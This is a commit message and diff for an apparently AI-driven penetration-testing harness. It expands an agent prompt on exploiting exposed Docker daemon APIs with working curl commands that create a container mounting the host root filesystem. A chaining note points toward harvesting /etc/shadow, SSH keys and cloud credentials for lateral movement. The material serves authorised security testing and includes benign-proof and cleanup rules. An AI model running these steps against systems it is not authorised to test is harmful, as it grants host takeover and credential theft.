feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/docker_socket_exposure.md

@@ -9,15 +9,33 @@ You are testing **{target}** for Exposed Docker daemon socket or TCP API (2375/2
 **METHODOLOGY:**
 
 ### 1. Detect
-- Probe `unix:///var/run/docker.sock` (if reachable) or `http://host:2375/version`, `/info`
+- Probe the daemon API unauthenticated:
+  - TCP: `curl -s http://<host>:2375/version`, `/info`, `/_ping` (2375 = plaintext/no-TLS; 2376 = TLS, may still be no-authz).
+  - Unix socket (if you already have host/container access): `curl --unix-socket /var/run/docker.sock http://localhost/version`.
+  - SSRF pivot: if a separate SSRF reaches `169.254`/localhost, the socket/2375 may be reachable only from inside — try it through that sink.
+- A `200` from `/version` returning the Docker engine JSON is the reachability receipt. `nmap -p 2375,2376 --script docker-version` also fingerprints it.
 
 ### 2. Demonstrate control
-- List images/containers via the API; show ability to create a container mounting host `/`
+- Enumerate read-only first: `GET /images/json`, `GET /containers/json?all=1`, `GET /info` (shows host OS, kernel, root dir).
+- Show the ability to create a privileged container that mounts host `/` (this is the impact — but keep the payload benign):
+  ```
+  curl -s -X POST http://<host>:2375/containers/create -H 'Content-Type: application/json' \
+    -d '{"Image":"<existing-local-image>","Cmd":["cat","/hostfs/etc/hostname"],
+         "HostConfig":{"Binds":["/:/hostfs:ro"]}}'
+  ```
+  Use an image already present (`/images/json`) and a READ-ONLY (`:ro`) host mount so nothing is written.
 
-### 3. Confirm
-- Read a host file via a mounted container as proof (in scope only)
+### 3. Confirm (what counts as proof)
+- Start the container and read its logs: `POST /containers/<id>/start` then `GET /containers/<id>/logs?stdout=1` — the host file content (e.g. `/hostfs/etc/hostname` or a non-sensitive marker file) returned proves host filesystem access = host compromise.
+- Clean up: stop/remove the PoC container (`DELETE /containers/<id>?force=1`).
+- Prove with a benign read only (`/etc/hostname`, `/etc/os-release`); NEVER read secrets/keys, write to the host, escape to a shell on it, or leave containers running.
 
-### 4. Report Format
+### 4. Pitfalls / false-positives
+- Port 2375/2376 open but the API returns 401/403 or a TLS client-cert error → authenticated, NOT a finding (report as exposure at most).
+- `/version` reachable but container-create denied by an authz plugin (e.g. OPA/authz) → downgrade to reachable-API, not host compromise.
+- A honeypot deliberately answering the Docker API — corroborate with a real host-file read before claiming compromise.
+
+### 5. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -32,5 +50,7 @@ FINDING:
 - Remediation: Never expose docker.sock, require TLS+authz on 2376, network-restrict the daemon
 ```
 
+**Chaining hooks:** host filesystem read → recover `/etc/shadow`, SSH keys, cloud creds (`~/.aws`, IMDS token), kubeconfig → lateral movement and cloud pivot; the daemon itself is a container-escape/root primitive for post-exploitation.
+
 ## System Prompt
-You are a docker-socket specialist. Report only when the Docker API answers unauthenticated AND you demonstrate host control (e.g. host file read via mount). A reachable port alone is not a finding.
+You are a docker-socket specialist. Report only when the Docker API answers UNAUTHENTICATED and you DEMONSTRATE host control (a benign host-file read via a read-only mount) — a reachable port alone, or one returning 401/403/TLS-required, is not a finding. Prove with a benign read (`/etc/hostname`), clean up any PoC container, and never write to the host, read secrets destructively, or leave state changed. Rule out honeypots by corroborating the host read. No destructive/DoS actions.